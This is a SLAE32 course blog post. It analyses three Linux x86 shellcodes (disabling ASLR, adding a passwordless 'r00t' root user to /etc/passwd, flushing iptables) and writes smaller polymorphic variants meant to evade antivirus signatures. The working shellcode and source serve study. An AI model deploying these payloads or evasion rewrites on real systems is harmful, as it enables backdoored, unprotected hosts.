SLAE32 Assignment #6: Polymorphic Shellcode

In this blog post, we will be covering the concept of polymorphism, and how it can be used to modify shellcode to bypass antivirus signature detection.

This post follows on in our blog series created for the SLAE32 certification course provided by Pentester Academy.


Overview

Antivirus solutions tend to rely on two main detection mechanisms in order to identify malicious code. These are behavioural analysis, and signature detection. In signature detection, the AV engine tends to search shellcode for commonly known sequences of instructions, or 'patterns' which are known to be malicious. This makes it easy to fingerprint particular classes of malware with a simple pattern matching algorithm.

A lot of the time, there is an emphasis on efficiency in shellcode. In general, this means that the smaller and more precisely a piece of shellcode carries out its intended action, the better. However, when it comes to comparing shellcode samples side by side, often many of them will look very similar at an instruction-by-instruction level.

Taking Metasploit as an example, the well known 'shikata_ga_nai' encoder is known to be easily fingerprinted by most antivirus engines in use today, given its use of a commonly recognised decoder stub. This article provides good coverage on how a simple Yara rule can be used to identify a sample of 236 payloads encoded using this particular encoder.

This is where polymorphism comes in. The core idea behind polymorphism it is to take a piece of shellcode and replace its instructions with those which perform equivalent functionality. The idea is to increase the level of obscurity and differentiate byte patterns which might commonly be shared between shellcode variants. Ultimately, the goal is for the shellcode to perform the same action, but appear different at a signature level.

In this blog post, we will be taking three shellcode examples from ShellStorm and applying this principle of polymorphism. Our chosen shellcodes are:


Shellcode 1: Linux/x86 - ASLR deactivation

The first shellcode we will look at is said to deactivate ASLR. ASLR, or Address Space Layout Randomisation, was introduced to Linux in 2001 in order to randomise memory segments in a given program. This would mean that any exploits which rely on static memory address to work correctly would fail, as it would no longer be possible to pre-emptively determine where your shellcode would end up in memory following exploitation.

Modern Linux kernels have this setting enabled by default, by setting the value 2 in the file /proc/sys/kernel/randomize_va_space:

┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 6: Polymorphism]
└─# cat /proc/sys/kernel/randomize_va_space                                                         1 ⚙
2

From this website we understand that there are three main settings for ASLR:

  • 0 – ASLR is disabled. Everything is static.
  • 1 – Address space randomisation. Shared libraries, stack, mmap(), VDSO and heap are randomised.
  • 2 – Complete randomisation. In addition to the randomisation in setting 1, memory managed through brk() is also randomised.

We can temporarily disable ASLR by setting this value to 0. Next, we will analyse the shellcode sample to determine if this is what it actually does when executed.


Ndisasm Analysis

The shellcode obtained from shell-storm is as follows:

/*
Title:  Linux x86 ASLR deactivation - 83 bytes
Author: Jean Pascal Pereira <pereira@secbiz.de>
Web:    http://0xffe4.org

Disassembly of section .text:

08048060 <_start>:
 8048060:       31 c0                   xor    %eax,%eax
 8048062:       50                      push   %eax
 8048063:       68 70 61 63 65          push   $0x65636170
 8048068:       68 76 61 5f 73          push   $0x735f6176
 804806d:       68 69 7a 65 5f          push   $0x5f657a69
 8048072:       68 6e 64 6f 6d          push   $0x6d6f646e
 8048077:       68 6c 2f 72 61          push   $0x61722f6c
 804807c:       68 65 72 6e 65          push   $0x656e7265
 8048081:       68 79 73 2f 6b          push   $0x6b2f7379
 8048086:       68 6f 63 2f 73          push   $0x732f636f
 804808b:       68 2f 2f 70 72          push   $0x72702f2f
 8048090:       89 e3                   mov    %esp,%ebx
 8048092:       66 b9 bc 02             mov    $0x2bc,%cx
 8048096:       b0 08                   mov    $0x8,%al
 8048098:       cd 80                   int    $0x80
 804809a:       89 c3                   mov    %eax,%ebx
 804809c:       50                      push   %eax
 804809d:       66 ba 30 3a             mov    $0x3a30,%dx
 80480a1:       66 52                   push   %dx
 80480a3:       89 e1                   mov    %esp,%ecx
 80480a5:       31 d2                   xor    %edx,%edx
 80480a7:       42                      inc    %edx
 80480a8:       b0 04                   mov    $0x4,%al
 80480aa:       cd 80                   int    $0x80
 80480ac:       b0 06                   mov    $0x6,%al
 80480ae:       cd 80                   int    $0x80
 80480b0:       40                      inc    %eax
 80480b1:       cd 80                   int    $0x80

*/

#include <stdio.h>

char shellcode[] = "\x31\xc0\x50\x68\x70\x61\x63\x65\x68\x76\x61\x5f\x73\x68"
                   "\x69\x7a\x65\x5f\x68\x6e\x64\x6f\x6d\x68\x6c\x2f\x72\x61"
                   "\x68\x65\x72\x6e\x65\x68\x79\x73\x2f\x6b\x68\x6f\x63\x2f"
                   "\x73\x68\x2f\x2f\x70\x72\x89\xe3\x66\xb9\xbc\x02\xb0\x08"
                   "\xcd\x80\x89\xc3\x50\x66\xba\x30\x3a\x66\x52\x89\xe1\x31"
                   "\xd2\x42\xb0\x04\xcd\x80\xb0\x06\xcd\x80\x40\xcd\x80";

int main()
{
  fprintf(stdout,"Lenght: %d\n",strlen(shellcode));
  (*(void  (*)()) shellcode)();
}

To begin, we disassemble the shellcode using ndisasm.

echo -ne "\x31\xc0\x50\x68\x70\x61\x63\x65\x68\x76\x61\x5f\x73\x68\x69\x7a\x65\x5f\x68\x6e\x64\x6f\x6d\x68\x6c\x2f\x72\x61\x68\x65\x72\x6e\x65\x68\x79\x73\x2f\x6b\x68\x6f\x63\x2f\x73\x68\x2f\x2f\x70\x72\x89\xe3\x66\xb9\xbc\x02\xb0\x08\xcd\x80\x89\xc3\x50\x66\xba\x30\x3a\x66\x52\x89\xe1\x31\xd2\x42\xb0\x04\xcd\x80\xb0\x06\xcd\x80\x40\xcd\x80" | ndisasm -u -
00000000  31C0              xor eax,eax
00000002  50                push eax
00000003  6870616365        push dword 0x65636170
00000008  6876615F73        push dword 0x735f6176
0000000D  68697A655F        push dword 0x5f657a69
00000012  686E646F6D        push dword 0x6d6f646e
00000017  686C2F7261        push dword 0x61722f6c
0000001C  6865726E65        push dword 0x656e7265
00000021  6879732F6B        push dword 0x6b2f7379
00000026  686F632F73        push dword 0x732f636f
0000002B  682F2F7072        push dword 0x72702f2f
00000030  89E3              mov ebx,esp
00000032  66B9BC02          mov cx,0x2bc
00000036  B008              mov al,0x8
00000038  CD80              int 0x80
0000003A  89C3              mov ebx,eax
0000003C  50                push eax
0000003D  66BA303A          mov dx,0x3a30
00000041  6652              push dx
00000043  89E1              mov ecx,esp
00000045  31D2              xor edx,edx
00000047  42                inc edx
00000048  B004              mov al,0x4
0000004A  CD80              int 0x80
0000004C  B006              mov al,0x6
0000004E  CD80              int 0x80
00000050  40                inc eax
00000051  CD80              int 0x80

GDB Analysis

Now that we have obtained the raw assembly instructions, we next look at performing analysis in GDB.

To begin, we take the shellcode buffer and insert it into our C skeleton program:

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x50\x68\x70\x61\x63\x65\x68\x76\x61\x5f\x73\x68\x69\x7a\x65\x5f\x68\x6e\x64\x6f\x6d\x68\x6c\x2f\x72\x61\x68\x65\x72\x6e\x65\x68\x79\x73\x2f\x6b\x68\x6f\x63\x2f\x73\x68\x2f\x2f\x70\x72\x89\xe3\x66\xb9\xbc\x02\xb0\x08\xcd\x80\x89\xc3\x50\x66\xba\x30\x3a\x66\x52\x89\xe1\x31\xd2\x42\xb0\x04\xcd\x80\xb0\x06\xcd\x80\x40\xcd\x80";

int main()
{

        printf("Shellcode Length:  %d\n", strlen(code));

        int (*ret)() = (int(*)())code;

        ret();

}

We compile this with GCC:

┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 6: Polymorphism]
└─# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Then, we fire up GDB with the PEDA plugin enabled and set a breakpoint on the main function:

We hit the breakpoint and disassemble the code variable containing the shellcode.

We then set a breakpoint to the first instruction and begin our analysis.

We come to our first set of interesting instructions, which involve pushing several hex encoded strings to the stack.

After the first PUSH instruction is executed, we inspect the stack and see the first string, "pace".

This appears to be the end of the filepath '/proc/sys/kernel/randomize_va_space'.

Iterating over the rest of the PUSH instructions, we construct the complete string, confirming the intention of the instructions is to push the file pathname to the stack for later use.

After the pathname is pushed to the stack, we see that it is moved into the EBX register. Next, hex value 0x2bc is moved into the ECX register, and 0x8 is moved into AL. Based on the syscall number, this indicates a syscall to the creat function is imminent.

Below is the function header for creat:

int creat(const char *pathname, mode_t mode);

From our analysis above, we can deduce that the creat syscall is being used to open or create a file at the given pathname of ''/proc/sys/kernel/randomize_va_space' with mode_t set to 0x2bc or 700 in decimal.

In this case, as 700 is chosen, this sets the user context in which the shell code is running to have full read, write and execute permissions over the file.

Once this file is open, a file descriptor (fd) value is stored in EAX. The shellcode moves this value into EBX register with the mov instruction, and pushes it to the stack. Next, the value 0x3a30 is moved into the DX register and pushed to the stack, before ESP is moved into ECX and EDX is cleared. The value 0x3a30 is equivalent to the ascii representation ":0".

Following this, the value 0x4 is moved into AL. Based on the syscall number, this indicates a syscall to the write function will be made.

Below is the function header for write:

ssize_t write(int fd, const void *buf, size_t count);

Following the syscall, the shellcode simply moves the value 0x6 into the AL register, which is the syscall for close, effectively closing the file.

We confirm the syscall for close as follows:

Upon the file being successfully closed, the value 0x0 is moved into EAX. This means that the shellcode just has to increment EAX, setting it to 0x1 to contain the syscall for exit. This will gracefully exit the shellcode.

We check the /proc/sys/kernel/randomize_va_space file and confirm that it has been changed to contain '0', effectively disabling ASLR as intended.


Shellcode 1: Polymorphic version

Before we make any changes to the assembly instructions, we create a copy of the original in a separate file as below. The original shellcode size is 83 bytes:

; Linux x86 ASLR deactivation - 83 bytes
; Author: Jean Pascal Pereira <pereira@secbiz.de>
; Website: http://0xffe4.org
;
; Purpose: SLAE32 exam assignment
;
;
; Assignment 6: Polymorphism

global _start

section .text

_start:
        xor eax,eax 
        push eax 
        push dword 0x65636170
        push dword 0x735f6176
        push dword 0x5f657a69
        push dword 0x6d6f646e
        push dword 0x61722f6c
        push dword 0x656e7265
        push dword 0x6b2f7379
        push dword 0x732f636f
        push dword 0x72702f2f
        mov ebx,esp 
        mov cx,0x2bc 
        mov al,0x8 
        int 0x80 
        mov ebx,eax 
        push eax 
        mov dx,0x3a30 
        push dx 
        mov ecx,esp 
        xor edx,edx 
        inc edx 
        mov al,0x4 
        int 0x80 
        mov al,0x6 
        int 0x80 
        inc eax 
        int 0x80

Our updated polymorphic version is as follows:

; disable_aslr_polymorphic.nasm - 71 bytes
; Author: Jack McBride (PA-6483)
; Website:  https://jacklgmcbride.co.uk
;
; Purpose: SLAE32 exam assignment
;
;
; Assignment 6: Polymorphism

global _start

section .text

_start:
        jmp _aslr

_main:
        xor eax, eax
        pop ebx
        mov cx,0x2bc 
        mov al,0x8 
        int 0x80 
        mov ebx,eax 
        push byte 0x30
        mov ecx,esp 
        inc edx 
        mov al,0x4 
        int 0x80 
        mov al,0x6 
        int 0x80 
        inc eax 
        int 0x80

_aslr:
        call _main
        db '/proc/sys/kernel/randomize_va__space'

Our polymorphic version is 71 bytes (12 bytes less than the original) = 15.5% size decrease.

In the original, the main standout feature is the 9 push instructions used to push the file path /proc/sys/kernel/randomize_va_space to the stack.

Instead of using the stack technique, our polymorphic version instead uses the jmp-call-pop technique to pop the pathname argument into the EBX register. In this way, the previously implemented push instructions are avoided.

Additionally, the call to the write syscall which originally used 0x3a30 has been truncated to a simple push byte 0x30 instruction, as writing the value '0' into the randomize_va_space file was found to be sufficient.

To further consolidate on space, the polymorphic version removes unnecessary calls to clear or increment registers which were found to be unused.

We run the new polymorphic shellcode and confirm that it works as expected:


Shellcode 2: Linux/x86 - add root user (r00t) with no password to /etc/passwd

The next shellcode we will look at is said to add a passwordless local account with root permissions, under the name of 'r00t'. The functionality of this is quite self-explanatory so we will jump into performing our analysis with ndisasm.

Ndisasm Analysis

The shellcode obtained from shell-storm is as follows:

/* By Kris Katterjohn 11/14/2006
 *
 * 69 byte shellcode to add root user 'r00t' with no password to /etc/passwd
 *
 * for Linux/x86
 *
 *
 *
 * section .text
 *
 *      global _start
 *
 * _start:
 *
 * ; open("/etc//passwd", O_WRONLY | O_APPEND)
 *
 *      push byte 5
 *      pop eax
 *      xor ecx, ecx
 *      push ecx
 *      push 0x64777373
 *      push 0x61702f2f
 *      push 0x6374652f
 *      mov ebx, esp
 *      mov cx, 02001Q
 *      int 0x80
 *
 *      mov ebx, eax
 *
 * ; write(ebx, "r00t::0:0:::", 12)
 *
 *      push byte 4
 *      pop eax
 *      xor edx, edx
 *      push edx
 *      push 0x3a3a3a30
 *      push 0x3a303a3a
 *      push 0x74303072
 *      mov ecx, esp
 *      push byte 12
 *      pop edx
 *      int 0x80
 *
 * ; close(ebx)
 *
 *      push byte 6
 *      pop eax
 *      int 0x80
 *
 * ; exit()
 *
 *      push byte 1
 *      pop eax
 *      int 0x80
 */

main()
{
       char shellcode[] =
               "\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68"
               "\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x66"
               "\xb9\x01\x04\xcd\x80\x89\xc3\x6a\x04\x58\x31\xd2"
               "\x52\x68\x30\x3a\x3a\x3a\x68\x3a\x3a\x30\x3a\x68"
               "\x72\x30\x30\x74\x89\xe1\x6a\x0c\x5a\xcd\x80\x6a"
               "\x06\x58\xcd\x80\x6a\x01\x58\xcd\x80";

       (*(void (*)()) shellcode)();
}
--

To begin, we once again disassemble the shellcode using ndisasm:

echo -ne "\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x66\xb9\x01\x04\xcd\x80\x89\xc3\x6a\x04\x58\x31\xd2\x52\x68\x30\x3a\x3a\x3a\x68\x3a\x3a\x30\x3a\x68\x72\x30\x30\x74\x89\xe1\x6a\x0c\x5a\xcd\x80\x6a\x06\x58\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -u -
00000000  6A05              push byte +0x5
00000002  58                pop eax
00000003  31C9              xor ecx,ecx
00000005  51                push ecx
00000006  6873737764        push dword 0x64777373
0000000B  682F2F7061        push dword 0x61702f2f
00000010  682F657463        push dword 0x6374652f
00000015  89E3              mov ebx,esp
00000017  66B90104          mov cx,0x401
0000001B  CD80              int 0x80
0000001D  89C3              mov ebx,eax
0000001F  6A04              push byte +0x4
00000021  58                pop eax
00000022  31D2              xor edx,edx
00000024  52                push edx
00000025  68303A3A3A        push dword 0x3a3a3a30
0000002A  683A3A303A        push dword 0x3a303a3a
0000002F  6872303074        push dword 0x74303072
00000034  89E1              mov ecx,esp
00000036  6A0C              push byte +0xc
00000038  5A                pop edx
00000039  CD80              int 0x80
0000003B  6A06              push byte +0x6
0000003D  58                pop eax
0000003E  CD80              int 0x80
00000040  6A01              push byte +0x1
00000042  58                pop eax
00000043  CD80              int 0x80

GDB Analysis

Now that we have obtained the raw assembly instructions, we next look at performing analysis using GDB.

To begin, we take the shellcode buffer and insert it into our C skeleton program:

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x66\xb9\x01\x04\xcd\x80\x89\xc3\x6a\x04\x58\x31\xd2\x52\x68\x30\x3a\x3a\x3a\x68\x3a\x3a\x30\x3a\x68\x72\x30\x30\x74\x89\xe1\x6a\x0c\x5a\xcd\x80\x6a\x06\x58\xcd\x80\x6a\x01\x58\xcd\x80";

int main()
{

        printf("Shellcode Length:  %d\n", strlen(code));

        int (*ret)() = (int(*)())code;

        ret();

}

We compile it with GCC:

┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 6: Polymorphism]
└─# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

We then start GDB and set two breakpoints: one on the main function, and the next at the first assembly instruction in the code variable as follows:

After the initial instructions, we see that the string /etc/passwd is pushed in reverse to the stack:

The function header for the open syscall is as follows:

int open(const char *pathname, int flags);

Next, the arguments for the syscall to open are arranged in the registers prior to the call below:

Following the syscall, the file descriptor for the /etc/passwd file is moved from EAX into EBX, and a new value 0x4 is moved into EAX. This value 0x4 corresponds to the write syscall.

The write function header is as follows:

ssize_t write(int fd, const void *buf, size_t count);

Following this, the string to write into /etc/passwd is pushed to the stack. As per the function header for the write syscall, the value to write into the file is pointed to by the ECX register.

Prior to the call to write, the syscall arguments are arranged as follows:

To close the file, the close syscall is used, and takes the file descriptor of the file it will close.

The close function header is as follows:

int close(int fd);

After the modified file is closed, the exit syscall is called, by moving 0x1 into EAX and calling int 0x80.

Following our analysis of the shellcode, we check our local /etc/passwd file and confirm that the new user r00t has been appended.


Shellcode 2: Polymorphic version

Before we make any changes to the assembly instructions, we create a copy of the original in a separate file as below. The original shellcode size is 69 bytes.

/* By Kris Katterjohn 11/14/2006
 *
 * 69 byte shellcode to add root user 'r00t' with no password to /etc/passwd
 *
 * for Linux/x86
 *
 *
 *
 * section .text
 *
 *      global _start
 *
 * _start:
 *
 * ; open("/etc//passwd", O_WRONLY | O_APPEND)
 *
 *      push byte 5
 *      pop eax
 *      xor ecx, ecx
 *      push ecx
 *      push 0x64777373
 *      push 0x61702f2f
 *      push 0x6374652f
 *      mov ebx, esp
 *      mov cx, 02001Q
 *      int 0x80
 *
 *      mov ebx, eax
 *
 * ; write(ebx, "r00t::0:0:::", 12)
 *
 *      push byte 4
 *      pop eax
 *      xor edx, edx
 *      push edx
 *      push 0x3a3a3a30
 *      push 0x3a303a3a
 *      push 0x74303072
 *      mov ecx, esp
 *      push byte 12
 *      pop edx
 *      int 0x80
 *
 * ; close(ebx)
 *
 *      push byte 6
 *      pop eax
 *      int 0x80
 *
 * ; exit()
 *
 *      push byte 1
 *      pop eax
 *      int 0x80
 */

Our updated version is as follows:

; adduser_polymorphic.nasm - 45 bytes
; Author: Jack McBride (PA-6483)
; Website:  https://jacklgmcbride.co.uk
;
; Purpose: SLAE32 exam assignment
;
;
; Assignment 6: Polymorphism

global _start

section .text

_start:
        jmp _cmd

_main:
        pop edx;        store string to be added to /etc/passwd
        push byte 0x46
        pop eax
        int 0x80;       call setreuid
        mov al, 0x5
        push ecx
        push 0x64777373
        push 0x61702f2f
        push 0x6374652f
        mov ebx, esp
        inc ecx
        mov ch, 0x4
        int 0x80;       call open on /etc/passwd with 401 flags
        xor ecx, ecx
        push ecx
        xchg ecx, edx
        xchg ebx, eax
        xor eax, eax
        mov al, 0x4
        mov edx, 0x1A
        int 0x80;       call write to append new user to /etc/passwd
        xchg eax, esi
        int 0x80

_cmd:
        call _main
        db "r00t::0:0::/root:/bin/bash", 0xA

Our polymorphic version is 45 bytes (24 bytes less than the original) = 42% size decrease.

To improve efficiency over the original shellcode, we opted to use the jmp-call-pop technique instead of pushing the hex encoded values for the new user account to the stack.

In addition, we remove any unnecessary changes to registers, namely XOR instructions designed to clear registers that are already cleared. Additionally, we have removed the syscall to close the file descriptor for /etc/passwd once we have finished writing to it, as the operating system will do this automatically for us following the call to exit.


Shellcode 3: Linux/x86 - iptables -F - 70 bytes

The final shellcode that we will analyse is designed to flush all host-based firewall rules by issuing the iptables -F command.

This can be used on a host which is blocking network communications to management ports such as SSH and might be later used by an attacker during the post-exploitation phase to perform further actions which require having a shell on the machine.

Ndisasm Analysis

The shellcode obtained from shell-storm is as follows:

Author: zillion
Email: zillion@safemode.org
Home: http://www.safemode.org

Linux x86 shellcode that does an execve() of /sbin/iptables -F in order to
flush activated firewall rules.

File: flush-iptables-shell.c

/*
 * This shellcode will do /sbin/iptables -F
 * Written by zillion@safemode.org
 *
 */

char shellcode[]=
        "\xeb\x21\x5e\x31\xc0\x88\x46\x0e\x88\x46\x11\x89\x76\x12\x8d"
        "\x5e\x0f\x89\x5e\x16\x89\x46\x1a\xb0\x0b\x89\xf3\x8d\x4e\x12"
        "\x8d\x56\x1a\xcd\x80\xe8\xda\xff\xff\xff\x2f\x73\x62\x69\x6e"
        "\x2f\x69\x70\x74\x61\x62\x6c\x65\x73\x38\x2d\x46\x32\x33\x34"
        "\x35\x36\x37\x38\x39\x61\x62\x63\x64\x65";

int main()
{

  int *ret;
  ret = (int *)&ret + 2;
  (*ret) = (int)shellcode;
}

To begin, we disassemble the shellcode into its assembly instructions using ndisasm:

echo -ne "\xeb\x21\x5e\x31\xc0\x88\x46\x0e\x88\x46\x11\x89\x76\x12\x8d\x5e\x0f\x89\x5e\x16\x89\x46\x1a\xb0\x0b\x89\xf3\x8d\x4e\x12\x8d\x56\x1a\xcd\x80\xe8\xda\xff\xff\xff\x2f\x73\x62\x69\x6e\x2f\x69\x70\x74\x61\x62\x6c\x65\x73\x38\x2d\x46\x32\x33\x34\x35\x36\x37\x38\x39\x61\x62\x63\x64\x65" | ndisasm -u -
00000000  EB21              jmp short 0x23
00000002  5E                pop esi
00000003  31C0              xor eax,eax
00000005  88460E            mov [esi+0xe],al
00000008  884611            mov [esi+0x11],al
0000000B  897612            mov [esi+0x12],esi
0000000E  8D5E0F            lea ebx,[esi+0xf]
00000011  895E16            mov [esi+0x16],ebx
00000014  89461A            mov [esi+0x1a],eax
00000017  B00B              mov al,0xb
00000019  89F3              mov ebx,esi
0000001B  8D4E12            lea ecx,[esi+0x12]
0000001E  8D561A            lea edx,[esi+0x1a]
00000021  CD80              int 0x80
00000023  E8DAFFFFFF        call 0x2
00000028  2F                das
00000029  7362              jnc 0x8d
0000002B  696E2F69707461    imul ebp,[esi+0x2f],dword 0x61747069
00000032  626C6573          bound ebp,[ebp+0x73]
00000036  382D46323334      cmp [dword 0x34333246],ch
0000003C  3536373839        xor eax,0x39383736
00000041  61                popa
00000042  626364            bound esp,[ebx+0x64]
00000045  65                gs

As this shellcode is using the jmp-call-pop technique, we notice that the assembly instructions that we get from ndisasm don't exactly match the commented assembly provided by the shellcode author.

We can investigate further using GDB.


GDB Analysis

To begin, we take the shellcode buffer and insert it into the C program:

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\xeb\x21\x5e\x31\xc0\x88\x46\x0e\x88\x46\x11\x89\x76\x12\x8d\x5e\x0f\x89\x5e\x16\x89\x46\x1a\xb0\x0b\x89\xf3\x8d\x4e\x12\x8d\x56\x1a\xcd\x80\xe8\xda\xff\xff\xff\x2f\x73\x62\x69\x6e\x2f\x69\x70\x74\x61\x62\x6c\x65\x73\x38\x2d\x46\x32\x33\x34\x35\x36\x37\x38\x39\x61\x62\x63\x64\x65";

int main()
{

        printf("Shellcode Length:  %d\n", strlen(code));

        int (*ret)() = (int(*)())code;

        ret();

}

We compile it with GCC:

┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 6: Polymorphism]
└─# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

We then start GDB and set two breakpoints: one on the main function, and the next at the first assembly instruction in the code variable as follows:

After the initial instructions, we note that the code is performing the jmp-call-pop technique to push the command to the stack.

Next, the command string is broken down into segments by inserting null bytes into the ESI register at specific offsets:

Based on the argument structure of execve, the first argument is the pathname of the program that is being executed. As the shellcode is executing the iptables -F command, the pathname argument will be set to /sbin/iptables and argv will be set to -F.

The function header for execve is as follows:

int execve(const char *pathname, char *const argv[], char *const envp[]);

In order to supply the arguments to execve, they are pushed as strings to the stack and appended with a null terminator to indicate the end of each string. Once this is done, a pointer to the pathname and a pointer to the arguments are moved into the EBX and ECX registers respectively.

Next, for the call to execve, the value 0x11 is moved into EAX

Finally, the syscall to execve is called.

Checking the output of the iptables -L command, we confirm that the iptables entry on our machine is empty, indicating that the shellcode worked as intended.


Shellcode 3: Polymorphic version

Before we make any changes to the assembly instructions, we create a copy of the original in a separate file as below. The original shellcode is 70 bytes in size.

Author: zillion
Email: zillion@safemode.org
Home: http://www.safemode.org

Linux x86 shellcode that does an execve() of /sbin/iptables -F in order to
flush activated firewall rules.

File: flush-iptables-shell.c

/*
 * This shellcode will do /sbin/iptables -F
 * Written by zillion@safemode.org
 *
 */

char shellcode[]=
        "\xeb\x21\x5e\x31\xc0\x88\x46\x0e\x88\x46\x11\x89\x76\x12\x8d"
        "\x5e\x0f\x89\x5e\x16\x89\x46\x1a\xb0\x0b\x89\xf3\x8d\x4e\x12"
        "\x8d\x56\x1a\xcd\x80\xe8\xda\xff\xff\xff\x2f\x73\x62\x69\x6e"
        "\x2f\x69\x70\x74\x61\x62\x6c\x65\x73\x38\x2d\x46\x32\x33\x34"
        "\x35\x36\x37\x38\x39\x61\x62\x63\x64\x65";

int main()
{

  int *ret;
  ret = (int *)&ret + 2;
  (*ret) = (int)shellcode;
}

Our updated version is as follows:

; flush_iptables_polymorphic - 49 bytes
; Author: Jack McBride (PA-6483)
; Website: https://jacklgmcbride.co.uk
;
; Purpose: SLAE32 exam assignment
;
;
; Assignment 6: Polymorphism

global _start

section .text

_start:
        xor edx,edx
        ; push -F
        push edx
        push word 0x462d
        mov eax, esp; save pointer to second argument in EAX
        ; push /sbin/iptables
        push edx
        push 0x73656c62
        push 0x61747069
        push 0x2f2f6e69
        push 0x62732f2f
        ; move pointer to file name into ebx
        mov ebx, esp
        push edx
        push eax; push second argument
        push ebx; push first argument
        mov ecx, esp
        xor eax, eax
        mov     al,0xb
        int     0x80
        xor eax, eax
        mov al, 0x1
        int 0x80

Our polymorphic version is 49 bytes (21 bytes less than the original) = 35% size decrease.

In the original, the shellcode leveraged the jmp call pop procedure to initially push the command to execute to the stack. In our version, instead the shellcode writes the pathname of the /sbin/iptables command to the stack, and then pushes its -F argument to the stack as well. This saves us some instructions as we do not have to make as many modifications to the ESI register as was the case in the original.

We next appropriately append null bytes to the arguments we have pushed where needed, and make the call to the exexce syscall. In addition to this, we consolidated space by removing any unnecessary calls to clear or modify registers.

We run the new polymorphic shellcode and confirm that it works as expected:


Code

This concludes our analysis of polymorphism, and our process of applying it to the refactoring of our three example shellcodes from ShellStorm.

The Assembly and C source code for my polymorphic shellcode implementations can be found on my GitHub repository.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: PA-6483

All code was tested on 32-bit Kali Linux:

┌──(jack㉿kali)-[~/SLAE32/Assignment 6: Polymorphism]
└─$ uname -a
Linux kali 5.5.0-kali2-686-pae #1 SMP Debian 5.5.17-1kali1 (2020-04-21) i686 GNU/Linux

In the next blog post, we will be covering our implementation of a custom crypter using the AES encryption cipher.

Thanks for reading!


Close